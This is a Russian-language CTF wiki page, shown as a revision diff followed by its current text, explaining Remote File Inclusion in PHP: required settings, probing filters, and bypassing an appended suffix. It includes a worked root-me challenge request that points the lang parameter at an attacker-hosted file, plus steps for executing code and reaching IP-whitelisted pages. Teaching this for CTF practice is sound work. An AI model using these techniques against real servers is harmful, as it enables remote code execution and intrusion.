Rfi — различия между версиями
Drakylar (обсуждение | вклад) м |
Drakylar (обсуждение | вклад) м (→Получение содержимого страницы от ip сервера) |
||
(не показано 6 промежуточных версий этого же участника) | |||
Строка 1: | Строка 1: | ||
+ | [[Категория:Web]] | ||
RFI - это выполнение удаленных файлов на серверной стороне. Проще говоря, у нас есть сервер, возвращающий с каким то запросом код программы, который будет открыт и запущен на сервере-жертве. | RFI - это выполнение удаленных файлов на серверной стороне. Проще говоря, у нас есть сервер, возвращающий с каким то запросом код программы, который будет открыт и запущен на сервере-жертве. | ||
Строка 11: | Строка 12: | ||
Для RFI требуется несколько параметров: | Для RFI требуется несколько параметров: | ||
− | + | 1. allow_url_fopen = On | |
− | + | 2. allow_url_include = On | |
− | + | 3. Строковая переменная в момент инклуда начинается именно с пользовательского ввода. | |
Третий пункт как раз объясняет нам, почему вначале мы ищем именно LFI: LFI не зависит от начала этой строковой переменной (именно из-за Path Traversal - да-да /../ спасет мир) | Третий пункт как раз объясняет нам, почему вначале мы ищем именно LFI: LFI не зависит от начала этой строковой переменной (именно из-за Path Traversal - да-да /../ спасет мир) | ||
Строка 68: | Строка 69: | ||
− | ===Фильтруется | + | ===Фильтруется протокол передачи=== |
− | RFI не пройдет так же, если будут фильтроваться все три | + | RFI не пройдет так же, если будут фильтроваться все три протокола: |
http,ftp,https | http,ftp,https | ||
− | Если же какой то из них не фильтруется, то | + | Если же какой то из них не фильтруется, то эта часть, считайте, успешно пройдена. |
+ | ==Эксплуатация RFI== | ||
− | ==Эксплуатация | + | |
+ | ===Эксплуатация произвольного кода=== | ||
Большинство информации было написано в предыдущих пунктах,поэтому вкратце. | Большинство информации было написано в предыдущих пунктах,поэтому вкратце. | ||
Строка 88: | Строка 91: | ||
4. Profit! | 4. Profit! | ||
+ | ===Получение содержимого страницы от ip сервера=== | ||
+ | |||
+ | Суть в том, чтобы получать доступ к тем страницам, которые дают доступ по ip whitelist'у. | ||
+ | |||
+ | Для этого требуется просто вписать требуемый URL в уязвимый параметр. | ||
+ | |||
+ | Пример таска: [https://kebechet.net/post/8/Hack_The_Vote___Voter_Registration Hack The Vote 2016 - Voter Registration web 200] | ||
==Примеры из ctf== | ==Примеры из ctf== | ||
Строка 96: | Строка 106: | ||
==Статьи и полезные ссылки== | ==Статьи и полезные ссылки== | ||
+ | |||
+ | https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion | ||
+ | |||
+ | http://securityxploded.com/remote-file-inclusion.php | ||
+ | |||
+ | https://xakep.ru/2009/09/17/49508/ |
Текущая версия на 13:35, 7 ноября 2016
RFI - это выполнение удаленных файлов на серверной стороне. Проще говоря, у нас есть сервер, возвращающий с каким то запросом код программы, который будет открыт и запущен на сервере-жертве.
Нахождение RFI
Нахождение RFI сводится к тому, что мы вначале находим LFI.
Поиск LFI
Для RFI требуется несколько параметров:
1. allow_url_fopen = On 2. allow_url_include = On 3. Строковая переменная в момент инклуда начинается именно с пользовательского ввода.
Третий пункт как раз объясняет нам, почему вначале мы ищем именно LFI: LFI не зависит от начала этой строковой переменной (именно из-за Path Traversal - да-да /../ спасет мир)
Изучение фильтров
Если вы уже нашли LFI, то пора бы изучить фильтры.
Для этого нам нужен минимум символов:
:/.
Если хотя бы один из символов не проходит, то RFI отсутствует (если нет преобразования hex,base64 и тд).
Конкатенация к строке инклуда (отличие от LFI реализации)
Обычно приписывание другой строки к запросу обходится так же, как и в LFI (и вы это могли найти на части поиска LFI уязвимости).
Но тут есть некоторые "фичи".
Если не получится откинуть приписанную строку
Рассмотрим пример, где приписывается _lg.php (http://www.root-me.org/en/Challenges/Web-Server/Remote-File-Inclusion). LFI у нас нет тк никакие способы не прошли.
Наш запрос:
http://challenge01.root-me.org/web-serveur/ch13/?lang=en
Преобразовывает инклуд в:
include("en_lang.php")
В этом случае нам требовалось отослать подобную строку:
http://challenge01.root-me.org/web-serveur/ch13/?lang=http://uri/folder/en
Объясняю, что происходит:
1.Мы создали у нас на сайте файл http://uri/folder/en_lang.php 2.Строка http://uri/folder/en преобразовалась в -> http://uri/folder/en_lang.php 3.Инклудится наш файл: include("http://uri/folder/en_lang.php") 4.Profit!
Если говорить проще, то нам нужно создать такой файл, что при переходе к нему, его url оканчивался на нужную последовательность символов (как в примере _lang.php).
Но! Это не пройдет, если у вас будет приписываться окончание незапускаемого типа файлов (как gif или css).
Фильтруется протокол передачи
RFI не пройдет так же, если будут фильтроваться все три протокола:
http,ftp,https
Если же какой то из них не фильтруется, то эта часть, считайте, успешно пройдена.
Эксплуатация RFI
Эксплуатация произвольного кода
Большинство информации было написано в предыдущих пунктах,поэтому вкратце.
Для эксплуатации нам всего лишь требуется cвой сайт или ftp сервер выходящий в глобальную сеть.
1. Создаем запускаемый файл на нашем сервере, высвечивающий исходник по curl(ftp) запросу. 2. Преобразовываем его положение на сервере, чтобы он смог пройти фильтрацию. 3. Отсылаем преобразованную строку, учитывая фильтры и конкатенацию 4. Profit!
Получение содержимого страницы от ip сервера
Суть в том, чтобы получать доступ к тем страницам, которые дают доступ по ip whitelist'у.
Для этого требуется просто вписать требуемый URL в уязвимый параметр.
Пример таска: Hack The Vote 2016 - Voter Registration web 200
Примеры из ctf
Статьи и полезные ссылки
https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion